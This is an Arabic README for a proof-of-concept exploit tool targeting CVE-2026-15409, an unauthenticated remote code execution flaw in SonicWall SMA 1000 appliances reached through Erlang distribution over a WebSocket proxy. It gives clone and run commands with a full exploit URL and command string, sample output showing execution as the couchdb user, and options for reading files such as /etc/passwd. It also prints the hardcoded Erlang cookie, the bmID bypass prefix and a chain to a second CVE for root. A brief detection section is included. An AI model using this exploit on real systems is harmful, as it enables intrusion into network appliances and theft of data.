
إثبات مفهوم لاستغلال CVE-2026-15409 (SonicWall SMA 1000 RCE) عبر توزيع Erlang عبر WebSocket. يحقق تنفيذًا عن بُعد للكود دون مصادقة كمستخدم couchdb.
استغلال إثبات المفهوم لثغرة CVE-2026-15409 – تنفيذ تعليمات برمجية عن بُعد دون مصادقة على أجهزة سلسلة SonicWall SMA 1000 عبر بروتوكول توزيع Erlang الممرّر عبر WebSocket.
CVE-2026-15409 هي ثغرة حرجة تؤثر على أجهزة SonicWall SMA 1000 (الإصدارات الأقدم من التحديث الإصلاحي الصادر في يونيو 2026). يكمن الخلل في خدمة WorkPlace (المعرّضة عادةً على المنفذ 443) والتي تمرّر اتصالات WebSocket إلى عقد Erlang الداخلية. من خلال تزوير معامل صالح واستخدام ملف تعريف ارتباط Erlang مضمّن، يمكن للمهاجم إنشاء قناة توزيع موثّقة وتنفيذ أوامر نظام تعسفية بصلاحية مستخدم (أو حسابات أخرى منخفضة الامتياز) عبر استدعاءات RPC إلى .
bmIDcouchdbos:cmd/1يوفر هذا المستودع إثبات مفهوم (PoC) عمليًا بالكامل يؤتمت سلسلة الاستغلال بأكملها – من مصافحة WebSocket إلى تنفيذ الأوامر التعسفية – بواجهة نظيفة، ومعالجة متقدمة للأخطاء، وتسجيل أنيق.
wss:// باستخدام نقطة نهاية wsproxy.os:cmd/1؛ يمكن قراءة الملفات عبر file:read_file/1 أو اختبار الاتصال باستخدام erlang:node/0.bmID التعسفية (طالما تبدأ بـ -3389) وقيم serviceType متعددة.[+] و[*] و[-] و[!] لسهولة المراقبة.تنبع الثغرة من نقاط الضعف التصميمية التالية في SMA 1000:
/wsproxy بتمرير رسائل WebSocket الثنائية إلى منفذ توزيع Erlang المحلي (localhost:1050 افتراضيًا) دون مصادقة أو تفويض مناسب.[email protected] على المنفذ 1050 وتقبل الاتصالات من وكيل WebSocket، ما يجعلها قابلة للوصول من الشبكة.rex القياسية، التي يمكنها تنفيذ دوال تعسفية على العقدة، بما في ذلك os:cmd/1.ex_sra_vm_12.5.0-02002.ova).couchdb (UID 1010، مجموعة daemon).file:read_file/1.websockets (التثبيت عبر pip install websockets).git clone https://github.com/Ch4120N/CVE-2026-15409.git
cd CVE-2026-15409
pip install -r requirements.txt # websockets
python3 cve-2026-15409.py \
--ws-url 'wss://TARGET_IP/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' \
--ws-user-agent 'SMA Connect Agent' \
--ws-insecure-tls \
--exec 'whoami && id && pwd && hostname'
░█▀▀░█░█░█▀▀░░░░░▀▀▄░▄▀▄░▀▀▄░▄▀▀░░░░░▀█░░█▀▀░█░█░▄▀▄░▄▀▄
░█░░░▀▄▀░█▀▀░▄▄▄░▄▀░░█/█░▄▀░░█▀▄░▄▄▄░░█░░▀▀▄░░▀█░█/█░░▀█
░▀▀▀░░▀░░▀▀▀░░░░░▀▀▀░░▀░░▀▀▀░░▀░░░░░░▀▀▀░▀▀░░░░▀░░▀░░▀▀░
[CVE-2026-15409]
Erlang Distribution RCE via WebSocket Proxy
Owner: Ch4120N
[ * ] Connecting via WebSocket to wss://192.168.56.102/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050
[ * ] Preparing RPC: os:cmd('whoami && id && pwd && hostname')
[ + ] Authenticated to [email protected]
[ * ] Calling os:cmd/1 ...
[ + ] RPC call completed
[ * ] Peer name: [email protected]
[ * ] Peer flags: 0xd07df7fbd
[ * ] Peer creation: 1784069352
[ + ] Command output:
couchdb
uid=1010(couchdb) gid=1(daemon) groups=1(daemon)
/opt/couchdb
SMAAppliance.sma
| الوسيط | الوصف |
|---|---|
--host, --port | اتصال احتياطي عبر TCP (إذا لم يُستخدم WebSocket) |
--cookie | تجاوز ملف تعريف الارتباط المضمّن الافتراضي |
--name | اسم مخصص لعقدة Erlang المحلية |
--ws-origin | تعيين ترويسة Origin لـ WebSocket |
--ws-user-agent | سلسلة User-Agent (الافتراضي: SMA Connect Agent) |
--ws-insecure-tls | تعطيل التحقق من TLS (الشهادات ذاتية التوقيع) |
--read-file | قراءة ملف من الهدف (مثل /etc/passwd) |
--rpc | اختبار الاتصال فقط عبر استدعاء erlang:node/0 |
ملف تعريف ارتباط Erlang المستخدم في الاستغلال هو:
10ecad5b446e86864832904cd439b6b70262
هذه القيمة ثابتة عبر جميع أجهزة SMA المختبرة وهي مضمّنة في عملية Erlang على localhost:1050. وهي ليست نفس ملف تعريف الارتباط الذي يكوّنه المستخدم للتجميع (clustering).
bmIDيجب أن يبدأ bmID بـ -3389 (مثل -3389c1b25ccd). تُقبل القيم التعسفية بعد البادئة، لذا لا ينبغي أن يعتمد الكشف القائم على التواقيع على تجزئة ثابتة.
في حين يستخدم المثال serviceType=SSH، فإن قيمًا أخرى مثل TELNET تعمل أيضًا. الاستغلال غير مرتبط بنوع الخدمة.
المنفذ 1050 هو المنفذ الداخلي الافتراضي، ولكن لوحظ في الهجمات الفعلية استهداف المنفذ 8188 أيضًا. يمكن تكييف الاستغلال ليعمل مع أي منفذ يعرض بروتوكول توزيع Erlang.
بعد الحصول على شل بصلاحية couchdb، يمكن للمهاجم استغلال CVE-2026-15410 – وهي ثغرة اجتياز مسار في XML-RPC تتيح إزالة التحديث الإصلاحي ثم تصعيد الامتيازات إلى صلاحية الجذر.
/wsproxy مع bmID يبدأ بـ -3389.couchdb (مثل bash أو python أو nc)./var/tmp/ بواسطة مستخدم couchdb.هذا المشروع مرخّص بموجب رخصة MIT – راجع ملف LICENSE للتفاصيل.
إخلاء مسؤولية: هذه الأداة مخصّصة للأغراض التعليمية والاختبارات المصرّح بها فقط. المؤلف والمساهمون غير مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج.
إذا وجدت إثبات المفهوم هذا مفيدًا، فيرجى التفكير في منحه ⭐ على GitHub ومشاركته بمسؤولية. المساهمات والقضايا (issues) وطلبات السحب (pull requests) مرحّب بها!
استمتع بالاختراق! 🛡️